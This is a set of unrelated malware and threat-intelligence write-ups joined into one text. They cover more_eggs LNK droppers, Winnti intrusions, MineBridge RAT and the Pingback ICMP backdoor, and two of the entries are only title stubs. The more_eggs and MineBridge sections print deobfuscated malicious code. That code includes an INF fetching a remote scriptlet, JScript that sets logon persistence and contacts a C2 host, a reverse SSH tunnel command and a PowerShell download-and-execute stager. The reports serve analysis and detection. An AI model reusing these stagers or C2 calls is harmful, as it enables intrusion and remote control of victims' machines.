# HOW DO YOU LIKE DEM EGGS? I LIKE MINE SCRAMBLED, REALLY SCRAMBLED - A LOOK AT A RECENT more_eggs SAMPLES
## Mo Bustami
### BACKGROUND
The topic of discussion has been covered quite well in the past years, with some analysis focusing on the human element and actors behind the tools, and other analysis attributing to different groups and some focusing on the malware and final payload. This blog will just focus on some recent samples related to what I think is more_eggs and my attempt (successful or not, I will let you be the judge of that) at analyzing them and some questions I have. I won't be discussing any attribution or provide my thoughts on that in this blog.
### HIGH LEVEL ANALYSIS OF SAMPLES
This all started with a tweet.
**File Name:** Axiance_Full_Reports[.]zip
**Hash:** 631f92c9147733acf3faa02586cd2a6cda673ec83c24252fccda1982cf3e96f6
The file is a ZIP file that includes an LNK file and a JPG. The LNK, as you would expect, includes an obfuscated code within it that is consistent with these types of campaigns.
```
&& c!QlGg!!dFsw!!dFsw!!S5nNX4N6!"k49ZUgX7=%!pKaN!!fJtJ!!oMCB!!PBuJ!\!pocM!!nHka!!Vtvt!!Ug
&& c!QlGg!!dFsw!!dFsw!!S5nNX4N6!"9AB2eyHk=%!pKaN!!fJtJ!!oMCB!!PBuJ!\!pocM!!nHka!!Ugrg!!po
&& (
for % t in ("!vZRh!!hixu!!nHka!!iedc!!cMXL!!pocM!!oLOE!!MbnQ!!DDvC!"
"s!pocM!!yysv!!MbnQ!!QlGg!!pKaN!!Ugrg!!iedc!!nHka! =
$!Assh!i!MbnQ!!CVhO!o!Assh!!cMXL! n!pKaN!!RkqG!"
"!vZRh!!CVhO!!nHka!s!pKaN!!pocM!!MbnQ!!QlGg!!pKaN!!pocM!!oLOE!!MbnQ!!CVhO!!pocM!!iedc!
"!opYD!!Vtvt!!IuyJ!!GgqK!!lmPv!!AFHZ!!NjEt!"
"!vZRh!!CVhO!!nHka!!IMmt!!QlGg!!Ugrg!!dFsw!!pKaN!!pocM!!MbnQ!s!pKaN!!QlGg!!dFsw!!dFsw!
"!uZmj!!MbnQ!!jYoa!!nHka!!yysv!!pocM!!cMXL!!pKaN!!nHka!!iedc!!kfTF!!eVUC!!rjNA!!cMXL!!
"!CVhO!!nHka!!dFsw!!IMmt!!pocM!!dFsw!!nHka!!cMXL!!lmPv!!opYD!!Vtvt!!IuyJ!!GgqK!"
"!vZRh!!oijN!!AFHZ!!pChT!!oijN!!ihiq!!DDvC!"
"!PBuJ!!NjEt!!NjEt!!PBuJ!\!cMXL!!Iiwf!!jYoa!!oLOE!!AeOE!!dwJy!!DBOh!!HYYC!!ySTZ!!DBOh!
"!vZRh!!opYD!!Vtvt!!IuyJ!!GgqK!!DDvC!"
"!pocM!!nHka!!Ugrg!!pocM!!PBuJ!!Vtvt!!pKaN!!yysv!!LlDf!!AFHZ!!PBuJ!!FEKw!!pocM!!MbnQ!!
"!vZRh!!cMXL!!pKaN!!iedc!!pocM!!MbnQ!!yysv!!cMXL!]"
"!cMXL!!nHka!!iedc!!hixu!!pocM!!Iiwf!!nHka!n!QlGg!m!nHka!!lmPv!!OJQo! '"
"!cMXL!!ORXc!!oLOE!!iedc!!pKaN!!cMXL!!hixu!!Iiwf!!MbnQ!!QlGg!!fJtJ!!nHka!!lmPv!!OJQo!
'"
"!Vtvt!!pKaN!!yysv!!LlDf!!AFHZ!!lmPv!!MbnQ!!pocM!!pKaN!") do
@!nHka!!Iiwf!!ORXc!!oLOE! % ~t) > "!9AB2eyHk!" && c!QlGg!!dFsw!!dFsw!c!oLOE!p!RSiK!/Y
%!Assh!!pocM!!MbnQ!!CVhO!!pocM!!iedc!!PBuJ!\!bnOY!!RSiK!!cMXL!!pKaN!!nHka!!fJtJ!!yNgq!
%!pKaN!!fJtJ!!oMCB!!PBuJ!\ && s!pKaN!!QlGg!!iedc!!pKaN! ""
/!fJtJ!!pocM!!MbnQ!w!fJtJ!!pocM!!Iiwf!p!iedc!!oLOE!!Iiwf!!nHka!!cMXL!!cMXL!c!QlGg!l!dF
-!AeOE!!QlGg!!cMXL!!nHka!!cMXL!!nHka!!pKaN!!pKaN!!pocM!!MbnQ!!yysv!!cMXL!"
"!.%SystemRoot%\System32\SHELL32.dll
```
Using the magic of cyberchef you can deobfuscate this and get something a bit cleaner.
```
&& call S5nNX4N6 "k49ZUgX7=%tmp%\ie4uinit.exe" && call S5nNX4N6
"9AB2eyHk=%tmp%\ieuinit.inf" && (
for % t in ("[version]"
"signature = $windows nt$"
"[destinationdirs]"
"A45E=01"
"[defaultinstall.windows7]"
"UnRegisterOCXs=F07FD"
"delfiles=A45E"
"[F07FD]"
"%11%\scRobj,NI,http://172.86.75.75/robot.php"
"[A45E]"
"ieui%4tg90%.inf"
"[strings]"
"servicename=' '"
"shortsvcname=' '"
"4tg90=nit") do @echo % ~t) > "9AB2eyHk" && call copy / Y % windir %
\System32\ ie4uinit.exe % tmp % \ && start "" / min wmic process call create
"k49ZUgX7 -basesettings"
".%SystemRoot%\System32\SHELL32.dll
```
### DOMO ARIGATO MR ROBOTO
I tried looking for the robot.php file associated with the above IP address in virus repositories but was not successful, probably due to me getting stale. However, I was able to find a variant of it in an LNK sample submitted to Hybrid Analysis and can be found at VirusTotal. The script is sizeable and heavily obfuscated. The closest to any analysis of something similar can be found at this expel blog but still it was not quite the same. While I can probably spend a whole blog going through the obfuscation and the deobfuscation logic, I would never be as good as @Arkbird_SOLG; their analysis is referenced in the intro. I also wanted to do this quickly. And as you might know, I have been relying on some old tools in the arsenal that seem to still work against these obfuscated scripts.
An old friend is a trusted one - Malzilla to the rescue. While the script broke Malzilla, it was still good enough to produce a deobfuscated output. You can see that I used document.write to get the output of the code. Here is partial output after it was beautified.
```
var WScriptShell = NWgYzNFhUglH676(cApePRxKlMQqu834(atZLWcjMYNmeC751,
uJqroxwXiRZAa975));
var DropperPath = WScriptShell.ExpandEnvironmentStrings("%appdata%");
DropperPath = DropperPath + "\\Microsoft\\";
var LoaderFileName = "6HGRAI3D0RB72LRS.txt";
var PersFileName = "RRALRCEOH5NXDDOJVPNVFH.txt";
var MsxslPath = DropperPath + cApePRxKlMQqu834(jHkwPHCIFnWO772, uJqroxwXiRZAa975);
var Decoded = MXZzNoSNqRUcKla430(EALrYFeDuAfV488, EALrYFeDuAfV488.length);
var ba = RyOCxzf831(Decoded, uJqroxwXiRZAa975);
var objFSO = NWgYzNFhUglH676(cApePRxKlMQqu834('qe)HZkC!=E|gs@q[6l6XsB8,VemdI[$X',
uJqroxwXiRZAa975));
if (!objFSO.FileExists(MsxslPath)) {
var actxobj = NWgYzNFhUglH676(cApePRxKlMQqu834(RgpeqURe598, uJqroxwXiRZAa975));
actxobj.open();
actxobj.position = 0;
actxobj.type = 2;
actxobj.charset = (437);
actxobj.writeText(aUxgUyvEj840(ba));
payload = 0;
actxobj.saveToFile(MsxslPath);
actxobj.close();
}
var DecodedPayer = MXZzNoSNqRUcKla430(qctzvdIf439, qctzvdIf439.length);
var BBA = RyOCxzf831(DecodedPayer, uJqroxwXiRZAa975);
var pays = aUxgUyvEj840(BBA);
SaveTextToFile(DropperPath + LoaderFileName, pays);
var DecodedPers = MXZzNoSNqRUcKla430(EoLfzNlg964, EoLfzNlg964.length);
var BBS = RyOCxzf831(DecodedPers, uJqroxwXiRZAa975);
var PersPays = aUxgUyvEj840(BBS);
var ActXobj1 = NWgYzNFhUglH676(cApePRxKlMQqu834(atZLWcjMYNmeC751, uJqroxwXiRZAa975));
var CommandToRun = 'cmd /c start /min "" "' + MsxslPath + '" "' + DropperPath +
LoaderFileName + '" "' + DropperPath + LoaderFileName + '"';
try {
ActXobj1.RegWrite("HKCU\\Environment\\UserInitMprLogonScript", 'cscript /b
/e:jscript "%APPDATA%\\Microsoft\\' + PersFileName + '"');
} catch (e) {}
try {
var vkxvlqbn570 = NWgYzNFhUglH676(cApePRxKlMQqu834('tFqdph]S"tSe54u]`%gCA',
uJqroxwXiRZAa975));
vkxvlqbn570.ShellExecute(cApePRxKlMQqu834(jHkwPHCIFnWO772, uJqroxwXiRZAa975),
LoaderFileName + " " + LoaderFileName, DropperPath, "", 0);
} catch (e) {}
try {
var vkxvlqbn570 =
GetObject(cApePRxKlMQqu834('6C"F%ZoiOuIDLit};iJX@QRg|*+XzMAXz{8"4YN<fk;gZi4nQIun0Xzxca
uJqroxwXiRZAa975));
var vkxvlqbn72 = vkxvlqbn570.Get(cApePRxKlMQqu834('aCAzD@WMfBMlp4p|',
uJqroxwXiRZAa975)).Create(CommandToRun, null, null, 0);
if (vkxvlqbn72 !== 0) {
vkxvlqbn354;
}
} catch (vkxvlqbn3118) {
try {
ActXobj1.Run(CommandToRun, 0, 0);
vkxvlqbn0937 = 1;
} catch (vkxvlqbn4910) {
vkxvlqbn0937 = 0;
}
}
try {
var ConnectionLite;
try {
ConnectionLite = new ActiveXObject("MSXML2.ServerXMLHTTP");
} catch (e) {
try {
ConnectionLite = new ActiveXObject("Msxml2.XMLHTTP.6.0");
} catch (e) {
try {
ConnectionLite = new ActiveXObject("Msxml2.XMLHTTP.3.0");
} catch (e2) {
ConnectionLite = new ActiveXObject("Microsoft.XMLHTTP");
}
}
}
ConnectionLite.open("GET", "http://95.179.186.167/Writer.php?deploy=" +
CommandToRun, false);
ConnectionLite.send();
} catch (ee) {}
```
If you want to rely on purely online tools, I stumbled across this one and it seems to be working really well. You will just need to modify the code from document.write to console.log. I hope the above code can be used to write detection and hunting rules; many of the variable names seem to be static once they are decoded, so it could be a good start.
And here is where my question or mystery begins. When I tried to do the same for the robot.php script from the original 172.86.75.75, the script seemed to be either missing or not decoding as I would like it to be. I tried messing with the logic and see if I missed anything, but no dice. I am happy to share the script for anyone else who would like to take a look, and I also uploaded it to VirusTotal.
### ADDITIONAL SAMPLES
I wanted to see if I can find additional "recent" samples of LNK files using similar obfuscation and delivery mechanism. I hunted using the "behaviour_files:"%TEMP%\\ieuinit.inf"" and according to VirusTotal, below are the recent ones:
- 631f92c9147733acf3faa02586cd2a6cda673ec83c24252fccda1982cf3e96f6
- bfe048ba91218019b64ab8477dad3ba6033cbc584f0d751d2866023b2b546c2e
- 4ba964764210607f3bab884a14afa0b917891cff969a309bbbc12d3321386352
- a99508a91168ebebb3779c8a69fbbc8c51cc019ba794b1e5f4c2d7a4c5b0777a
- 36bf06bde63af8cdd673444edf64a323195fe962b3256e0269cdd7a89a7e2ae1
I did not go hunting for samples of the main obfuscated JS payload, but there might be some additional samples laying around. I did not have time to go and do a telemetry analysis and infrastructure mapping of these campaigns, but if I have some spare time, I might put that down in another blog post.
### ONE FINAL EASTER EGG
For the 172.86.75.75, a censys scan showed port 8080 open, and taking a quick look at it, it seemed like it was some sort of a C2 panel/access of potential victims. Not sure if it is related to this campaign or something else. Clicking on any of the buttons seems to potentially show screenshots from victims' emails/browser/etc. |
# Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques
**Written By**
Cybereason Nocturnus
May 4, 2022 | 11 minute read
In 2021, the Cybereason Nocturnus Incident Response Team investigated multiple intrusions targeting technology and manufacturing companies located in Asia, Europe, and North America. Based on the findings of our investigation, it appears that the goal behind these intrusions was to steal sensitive intellectual property for cyber espionage purposes.
Cybereason assesses with moderate-high confidence that the threat actor behind the intrusion is the Winnti Group (also tracked as APT41, Blackfly, and BARIUM), one of the most advanced and elusive APT groups known to operate on behalf of Chinese state interests and whose members have been indicted by the US Department of Justice for severe computer crimes.
## Key Findings
- **Multi-year Cyber Espionage Intrusions:** The Cybereason IR team investigated a sophisticated and elusive cyber espionage operation that has remained undetected since at least 2019, aiming to steal sensitive proprietary information from technology and manufacturing companies, mainly in East Asia, Western Europe, and North America.
- **Newly Discovered Malware and Multi-Stage Infection Chain:** Part two of the research examines both known and previously undocumented Winnti malware, including digitally signed kernel-level rootkits and an elaborate multi-stage infection chain that enabled the operation to remain undetected since at least 2019.
- **Winnti APT Group:** Cybereason assesses with moderate-to-high confidence that the threat actor behind the set of intrusions is the Winnti Group, a Chinese state-sponsored APT group known for its stealth, sophistication, and focus on stealing technology.
- **The Winnti Playbook:** This research offers a unique glimpse into the Winnti intrusion playbook, detailing the most frequently used tactics, as well as some lesser-known evasive techniques observed during the investigation.
## The Winnti Attack Lifecycle
During 2021, Cybereason Nocturnus investigated an elaborate espionage operation targeting a number of prominent organizations in Asia, Europe, and North America. Cybereason attributes with moderate-to-high confidence that this operation was carried out by the Winnti APT group (also known as APT41, BARIUM, and Blackfly) - a Chinese state-sponsored APT that has been active since at least 2010.
For years, this operation has remained under the radar, concealing a multi-layered attack scheme with a wide and comprehensive toolbox. The attackers’ initial foothold in the organization originated from multiple vulnerabilities in the organizational ERP (Enterprise Resource Planning) platform. From there, the attackers installed persistence in the form of a WebShell and began conducting reconnaissance and credential dumping, enabling them to move laterally in the network. Ultimately, it allowed the attackers to steal highly sensitive information from critical servers and endpoints belonging to high-profile stakeholders.
Analysis of the data available to Cybereason suggests that the goal of the operation was focused on cyber espionage with the aim of stealing proprietary information, R&D documents, source code, and blueprints for various technologies. The attackers managed to go undetected for years by using stealthy techniques combined with state-of-the-art attack and espionage tools, which included advanced rootkits.
### Initial Compromise
According to the Cybereason IR investigation, the infection vector that was used to compromise Winnti targets consisted of the exploitation of a popular ERP solution leveraging multiple vulnerabilities, some known and some that were unknown at the time of the exploitation.
One of the first actions taken after a successful exploit was an attempt to find a specific DLL file under the VMware Tools folder, `gthread-3.6.dll`. The DLL file is invoked by the intermediate dropper, and its role is to inject the payload into `svchost.exe` on the targeted system. This TTP has been observed before and is known to be characteristic of the Winnti group.
### Persistence
The Cybereason Nocturnus IR team observed multiple persistence techniques used by Winnti over the course of the intrusion. While some techniques are trivial and well-known, others are rare and advanced, used only by a handful of threat actors.
- **Persistence Technique #1: WebShell**
The first attempt to establish a foothold on “patient zero” was achieved by embedding a minimal JSP code for deploying a Webshell under the ERP Web Application server directory using an RCE exploit. The attackers dropped an encoded VBScript version of the Webshell to the `%UserProfile%` directory off the ERP Web Service account. Once the attackers wrote the dropper to the disk, they executed the encoded VBScript file using `wscript` and wrote the decoded output to a text file. The final step was copying the output text file to a folder accessible externally via the ERP Web Service and changing the extension to `.jsp` so it would act as a Webshell.
- **Persistence Technique #2: WinRM over HTTP/HTTPS**
The investigation revealed a second persistence mechanism that granted the attackers an additional backup entry point enabling the native Windows feature WinRM over HTTP/HTTPS on the compromised servers. WinRM is a Microsoft Windows native remote management protocol that provides remote shell access.
- **Persistence Technique #3: Loading a Signed Kernel Rootkit**
The attackers leveraged a Signed Kernel Rootkit to establish an additional persistence mechanism. Detailed analysis of this stealthy rootkit will be provided in part two of this research.
- **Persistence Technique #4: Windows Service**
The attackers abused the legitimate IKEEXT and PrintNotify Windows Services to side-load Winnti DLLs and preserve persistence.
### Reconnaissance
Upon gaining access to the Windows ERP server, Winnti used the following commands:
- `cat /etc/hosts`
- `route print`
The nature of these commands suggests they may have been part of an automated vulnerability discovery process, as the ERP server is a Windows server and `cat /etc/hosts` is a Unix command. After these commands were executed, the attackers began a more dedicated reconnaissance activity using built-in Windows commands to gather information on the compromised server.
### Credential Dumping
During the attack, Cybereason Nocturnus observed two methods utilized for credential dumping: the first used the known `reg save` command, and the second was an unknown tool named `MFSDLL.exe`. Using the `reg save` command, the attackers attempted to dump the SYSTEM, SAM, and SECURITY registry hives.
The second tool used by the attackers to dump credentials was a previously undocumented executable named `MFSDLL.exe`. The attackers used this tool in various ways, including:
- `MFSDLL.exe <12 characters string> <file> <parameter>`
### Lateral Movement
For lateral movement, the attackers used the Windows-native `Schtasks` command to create remote scheduled tasks and execute malicious code through batch files. The scheduled tasks were created with the name `test`, using compromised Domain Administrator credentials.
### Data Collection and Exfiltration
To collect data efficiently, the attackers utilized a renamed Chinese-language version of WinRAR to create password-protected archives containing the stolen data. The WinRAR executable was renamed to `rundll32.exe` to disguise it and blend in with other Windows system files.
## Conclusions
In the first part of this Winnti research, we reported the discovery of multiple sets of intrusions that went undetected for years. These intrusions targeted technology and manufacturing companies in multiple regions of the world to steal sensitive information for cyber espionage purposes.
Based on our analysis and the information available, we assess with moderate-to-high confidence that the attacks described in this report were carried out by the notorious Winnti APT Group, a highly sophisticated APT group operating on behalf of Chinese state interests that has been active since at least 2010. The group has been known for its focus on intellectual property theft.
In this part of the research, we offered readers a unique glimpse into the attacker’s playbook, tracing the attack steps from initial compromise to data exfiltration. In part two of this research, we will take a deep dive into the Winnti malware arsenal, analyzing the different implants and unique infection chains.
## Acknowledgments
This research has not been possible without the tireless effort, analysis, attention to detail, and contribution of the Cybereason Incident Response team. Special thanks and appreciation go to Matt Hart, Yusuke Shimizu, Niamh O’Connor, Jim Hung, and Omer Yampel. |
# 2022 Cybersecurity Predictions
Cyberint Research Team will try and shed some light on the upcoming year: the key security risks and threats, and what we feel will change in the coming year. |
# BlackMatter & Haron: Evil Ransomware Newborns or Rebirths
Microsoft Word also leveraged in the email campaign, which uses a 22-year-old Office RCE bug. |
# Demystifying the Full Attack Chain of MineBridge RAT
## Introduction
In March 2021, threat actors started distributing MineBridge RAT with an updated distribution mechanism. Morphisec blogged about the partial attack chain of this new attack but could not find the origin or initial stages of the attack chain. In May 2021, Zscaler ThreatLabz uncovered all the components of this complex multi-stage attack chain, which have never before been documented in their entirety in the public domain.
We've blogged about MineBridge RAT before, in February 2021. This is a RAT (remote access trojan) that misuses the remote desktop software TeamViewer for DLL side-loading, enabling the threat actor to take a wide array of remote follow-on actions such as spying on users or deploying additional malware. It was first discovered in January 2020 targeting financial services organizations.
We discovered that the threat actors are now distributing MineBridge RAT through Windows Installer binaries that masquerade as trading applications. The different stages in this sophisticated attack chain leverage Windows scheduled tasks, PowerShell scripts, reverse SSH tunnels, legitimate binaries such as TeamViewer, and shortened URLs that ultimately lead to the MineBridge RAT execution.
## Attack Flow
Figure 1 below illustrates the full end-to-end attack chain.
### Technical Analysis
On April 9th, 2021, threat actors registered the domain "tradingview[.]cyou," a look-alike of the legitimate website "tradingview[.]com." A download link for the malicious TradingView Desktop application was placed on the homepage. The official TradingView desktop application was launched by tradingview.com in December 2020 for the first time. This indicates that the threat actor is quick at identifying such opportunities to leverage them in their attack chain. Within 4 months of the launch of the new official trading application, the threat actor registered a new domain to distribute the malicious version of the application.
Similar to this, other trading applications and bots often used by stock and cryptocurrency traders have also been abused by the threat actor. The complete list of file hashes is included in the IOCs section.
The download link on the attacker-controlled domain leads to the download of a malicious Windows Installer. We noticed that the download URL responds with the malicious Windows Installer only if the user-agent string in the HTTP request headers corresponds to Windows 10 OS.
For the purpose of technical analysis, we will look at the Windows Installer with MD5 hash: `4284ee1eef9dd7f020f5002d63def278`. The installer is an Inno package that masquerades as a TradingView Desktop application and is digitally signed by YUNIVELL, LLC. The thumbprint of the digital signature is: `93e9d0b1ea812672b825d7c6812d435cca9fff99`.
By pivoting on this thumbprint, we identified a few more trading applications that are used to spread MineBridge RAT as well. The hashes of these binaries are also mentioned in the Indicators of Compromise (IOCs) section.
Upon execution, this installer shows a GUI (Graphical User Interface) which spoofs a TradingView application while it performs malicious activities in the background. To start malicious activities, the installer executes two PowerShell command lines which we have referred to as Stage-1 PowerShell and Stage-2 PowerShell. The operations performed by these are explained in detail in the following sections.
### Stage-1 PowerShell
Below are the main operations performed by it:
1. Changes the current directory to: `$env:programdata\ssh\`
2. Fetches SSHD config from the shortened URL and writes it to the file: `sshd_config`
3. Adds the OpenSSH.Server Windows capability and starts the sshd service. Sets the startup type to Automatic.
4. Changes directory to the path: `$env:userprofile` and creates the `.ssh` directory.
5. Fetches the SSH keys from the URL and writes them to the file: `authorized_keys`
6. Fetches the RSA private keys from the URL and writes them to the file: `tun_id_rsa`
7. Downloads the SSH client binary from the URL and writes it to: `ssh.exe`
8. Executes the following command to set up a reverse SSH tunnel from the victim’s machine at port 109 to the attacker’s server at port 32672.
```
-N -R '+$RemotePort+':localhost:109 [email protected]'+$RemoteSrv+' -i "'+$env:userprofile+'\.ssh\tun_id_rsa" -o "StrictHostKeyChecking=no" -o "ExitOnForwardFailure=yes" -o "ServerAliveInterval=10" -o "ServerAliveCountMax=10"';
```
Here, `$RemoteSrv: 86[.]106[.]181[.]183` and `$RemotePort: 32672`.
Note: Reverse SSH tunneling helps the threat actor to bypass firewall rules since outbound connection requests are generally not blocked.
9. Creates a new scheduled task with the name "OneDrive Sync" which executes the above command line upon Logon, and once every 20 minutes.
### Stage-2 PowerShell
The PowerShell script performs the following operations:
1. Creates a scheduled task with the name "Google Disk Sync" which runs twice every week and executes the following code using PowerShell:
```
$b="https://";
$c="cutt[.]ly";
$d="/9nOFUuK";
$b+=$c;
$b+=$d;
$a=iwr $b -UseBasicPArsing |iex;
```
This code performs the following operations:
- Downloads and executes Stage-3 PowerShell code from a shortened URL which ultimately leads to NetSupport client execution.
- Downloads and executes Stage-4 PowerShell code from another shortened URL which ultimately leads to MineBridge RAT execution.
2. Creates a scheduled task with the name "Google Photo Sync" which runs twice every week and executes the following PowerShell command line:
```
$b="https://";
$c="cutt[.]ly";
$d="/9nOFUuK";
$b+=$c;
$b+=$d;
$a=iwr $b -UseBasicPArsing |iex;
```
This again downloads and executes the Stage-3 PowerShell code from the shortened URL.
Note: We have not detailed the Stage-3 PowerShell and Stage-4 PowerShell in this blog since the details for these two are already covered in the Morphisec blog.
### Zscaler Cloud Sandbox Report
In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels.
### MITRE ATT&CK TTP Mapping
| ID | Tactic | Technique |
|----------------|-----------------------------|---------------------------------------------------------------------------|
| T1566 | Phishing | Attacker hosted fake websites leading to malicious file download |
| T1204.002 | User Execution: Malicious File | User executes the downloaded file |
| T1059.001 | Command and Scripting Interpreter | Uses PowerShell in multiple stages to download and execute malicious payloads |
| T1547.001 | Registry Run Keys / Startup Folder | Creates LNK file in the startup folder for payload execution |
| T1053.005 | Scheduled Task/Job: Scheduled Task | Creates scheduled task to execute PowerShell commands which further downloads and executes PowerShell scripts |
| T1140 | Deobfuscate/Decode Files or Information | Strings and other data are obfuscated in the payloads |
| T1036.004 | Masquerading: Masquerade Task or Service | Scheduled tasks are created with names masquerading Google and OneDrive |
| T1036.005 | Masquerading: Match Legitimate Name or Location | Dropped LNK file for persistence masquerades Windows Defender |
| T1027.002 | Obfuscated Files or Information: Software Packing | Payloads are packed in layers |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | Uses legit TeamViewer binary with dll-side loading vulnerability |
| T1056.002 | Input Capture: GUI Input Capture | Captures TeamViewer generated UsedID and Password by hooking GUI APIs |
| T1057 | Process Discovery | Verifies the name of parent process |
| T1082 | System Information Discovery | Gathers system OS version info |
| T1033 | System Owner/User Discovery | Gathers currently logged in Username |
| T1572 | Protocol Tunneling | Creates Reverse SSH tunnel |
| T1071.001 | Application Layer Protocol: Web Protocols | Uses https for network communication |
| T1041 | Exfiltration Over C2 Channel | Data is exfiltrated using existing C2 channel |
### Indicators of Compromise (IOCs)
#### Hashes
| MD5 | FileName | Type |
|---------------------------------------|-------------------------------|-----------|
| 4284ee1eef9dd7f020f5002d63def278 | TradingView.exe | Installer |
| 68a010a3d0d25cfa13933199511ed897 | Polarr_Setup (2).exe | Installer |
| ffcd63dc98e64afbfea8718b747963d7 | Bitcoin_Trade.exe | Installer |
| 3281f3b30fb8f3c69b18cc7aadfdf697 | Arbitrage_Bot.exe | Installer |
| 796e091b18112e223749972c3f0888db | Bitcoin_Trade.exe | Installer |
| b14632304a7543752fbf2e3b7c0eca59 | msi.tiff (MineBridge RAT) | Dll |
#### C2 Domains
| Component | Domain |
|----------------------------|---------------------------------|
| Phishing website | tradingview[.]cyou |
| | tradingview[.]cloud |
| | tradingview[.]digital |
| | tradingview[.]life |
| PowerShell payloads | cloud-check[.]website |
| | simpleclub[.]website |
| | simpledomen[.]website |
| | simpleclub[.]site |
| Reverse SSH tunnel | 86.106.181[.]183:32672 |
| NetSupport client | update-system[.]cn |
| | updatesystem[.]website |
| MineBridge RAT | ninjakick[.]club |
| | polarrsearch[.]xyz |
| | rogaikopyta[.]xyz |
| | utkailipa[.]xyz |
| | 5tvstar[.]cn |
| | goldendragon888[.]cn |
#### Windows Installer Signer Details
- **Signer name:** YUNIVELL, LLC
- **Thumbprint:** 93E9D0B1EA812672B825D7C6812D435CCA9FFF99
#### Scheduled Tasks Name
- OneDrive sync
- Google Disk Sync
- Google Photo Sync |
# Pingback: Backdoor At The End Of The ICMP Tunnel
## Introduction
In this post, we analyze a piece of malware that we encountered during a recent breach investigation. What caught our attention was how the malware achieved persistence, how it used ICMP tunneling for its backdoor communications, and how it operated with different modes to increase its chances of a successful attack. Malware using ICMP is not new but is relatively uncommon. Because of this, and the presence of certain strings, we decided to name this malware ‘Pingback’. Below we demonstrate how Pingback’s protocols work and also provide sample code on how we interacted with the malware.
## Persistence through DLL Hijacking
DLL (Dynamic Link Library) hijacking is a technique that involves using a legitimate application to preload a malicious DLL file. Attackers commonly abuse the Windows DLL Search Order and take advantage of this to load a malicious DLL file instead of the legitimate one.
The file we investigated was a DLL file called oci.dll. We knew that the file was suspicious during our initial triaging, but we could not figure how it was loaded into the system because the DLL was not loaded through traditional rundll32.exe.
We found out later that it got loaded through a legitimate service called msdtc (a.k.a Microsoft Distributed Transaction Coordinator). This service, as the name suggests, coordinates transactions that span multiple machines, such as databases, message queues, and file systems.
It turns out the msdtc service indirectly loads oci.dll through MSDTCTM.DLL that loads an ODBC library to support Oracle databases called MTXOCI.DLL. This library searches for and tries to load three Oracle ODBC DLLs which include oci.dll, SqlLib80.dll, and xa80.dll.
By default, the three Oracle DLLs do not exist in the Windows system directory. So, in theory, an attacker with system privileges can drop a malicious DLL and save it using one of the DLL filenames that MTxOCI loads. We have experimented with dropping all three DLL filenames but only oci.dll was successfully loaded by the service.
msdtc by default does not run during start-up. To remain persistent, the msdtc service needs to be configured to start automatically, so the attacker would need system privileges to reconfigure the msdtc startup type. It can be done manually using SC command, via malicious scripts, or through a malware installer.
Our theory is that a separate executable installed this malware. In fact, after a bit of hunting, we found a sample in VirusTotal with similar IOCs that installs oci.dll into the Windows System directory and then sets msdtc service to start automatically.
We also observed during our analysis that in a VMware environment, the VM Tools service also loads MTXOCI and eventually loads the malicious OCI.DLL.
So that is the DLL loading part. But before turning our attention to Pingback itself and its operation, let us first lay out what is ICMP and how ICMP tunneling works.
## ICMP Foundation
The Internet Control Message Protocol (ICMP) is a network layer protocol mainly used by network devices for diagnostic and control purposes. It is used in utilities such as ping to determine reachability and roundtrip time, traceroute, and path MTU discovery to avoid packet fragmentation and enhance performance. It can also be misused by malicious actors to scan and map a target’s network environment. This is one of the reasons why there are some debates over whether ICMP should be disabled or not. In most cases, users do not pay attention to ICMP packets either as they do not manifest open ports on the machine.
The malware, Pingback, at the center of our investigation, oci.dll, uses the ICMP protocol for its main communication. This has the effect of being hidden from the user as ports cannot be listed by netstat. Below we detail how Pingback uses the ICMP protocol to pass data back and forth between the infected host and the attacker’s host. A technique called ICMP tunneling.
To explain ICMP tunneling, let us first understand an ICMP packet:
An ICMP packet is built on top of the IP layer and has an 8 byte ICMP header. The packet size limit for ICMP data is a maximum allowed size of an IPv4 network packet, minus the 20 byte IP header and 8 byte ICMP header. Or approximately 64K. The ICMP data is determined by the message type. The message types are defined here:
An ICMP tunnel mainly uses these two types:
| Code | Type | Description |
|------|--------------|---------------------|
| 0 | Echo Reply | ping reply |
| 8 | Echo | ping |
In the diagram below, an echo packet header defines the ICMP type, code, checksum, identifier, and sequence number. The ICMP data section is where an attacker can piggyback arbitrary data to be sent to a remote host. The remote host replies in the same manner, by piggybacking an answer into another ICMP packet and sending it back.
## ICMP Tunneling
Now that we have laid out the foundation and how an attacker can piggyback data on the ICMP packets, we are ready to explain exactly how this malware works.
Pingback specifically uses the echo (ping) request or type 8 ICMP message. It starts a sniffer for every IP address on the host, spawning a thread to sniff packets on each individual IP address. To distinguish between its own packets and other packets, the sniffer ignores anything else that’s not an ICMP echo packet and does not contain the ICMP sequence number 1234, 1235, or 1236. It also ignores packets not destined for the specified IP address.
It then interprets the data in the following format:
The sequence is used as a message type for each ICMP data. It currently supports 3 message types:
- 1234 – the packet contains a command or data
- 1235 and 1236 – used for pure ICMP packet communication only. 1235 being the data has been received at the other end, and 1236 as new data has been received by the malware.
Pingback supports several commands including:
- shell – execute a shell
- download – 3 different modes of download are provided:
- Mode 1: Infected host connects back to the attacker’s host (works well if incoming TCP connections are blocked by firewall)
- Mode 2: Infected host opens a socket on a specified port and waits for the attacker to connect.
- Mode 3: Purely ICMP-based, but this is very slow and the current implementation is not very reliable in terms of flow control.
- upload – also supports 3 different modes, similar to the Download command.
- exec – execute a command on the infected host.
This is interesting; you can see Pingback uses a combination of ICMP for initiating any of the commands and TCP for better performance and reliability. A pure ICMP mode is also provided but is not very reliable.
## Protocol example
To download a file in mode 1, the attacker performs:
- Create a socket and listen on a port
- Send the following ICMP packet:
- ICMP echo request with sequence 1234
- Payload contains: “download”, name of file to download, and IP address and port of the newly created socket, this is where the malware will stream the file to
- Wait for connections and receive data. There is an additional protocol here which includes is reasonably simple (send and receive) and wait for “END\x00” string.
We have provided a source to demonstrate all three modes and most of the commands supported by Pingback.
## Final Words
ICMP tunneling is not new, but this particular sample piqued our interest as a real-world example of malware using this technique to evade detection. ICMP is useful for diagnostics and performance of IP connections in the real world. It is very useful to have them enabled but must be balanced by real-world threats. While we are not suggesting that ICMP should be disabled, we do suggest putting in place monitoring to help detect such covert communications over ICMP.
For network administrators and technical audience, a rule can be implemented to check if a packet is an ICMP echo (type 8), the data size is 788 bytes or greater and check for ICMP sequence number: 1234, 1235, or 1236. Backdoor command strings such as “download”, “upload”, “exec”, “exep”, “rexec”, “shell” that found in an ICMP data packet can also be flagged. Trustwave Managed IDS devices can also detect this malicious traffic.
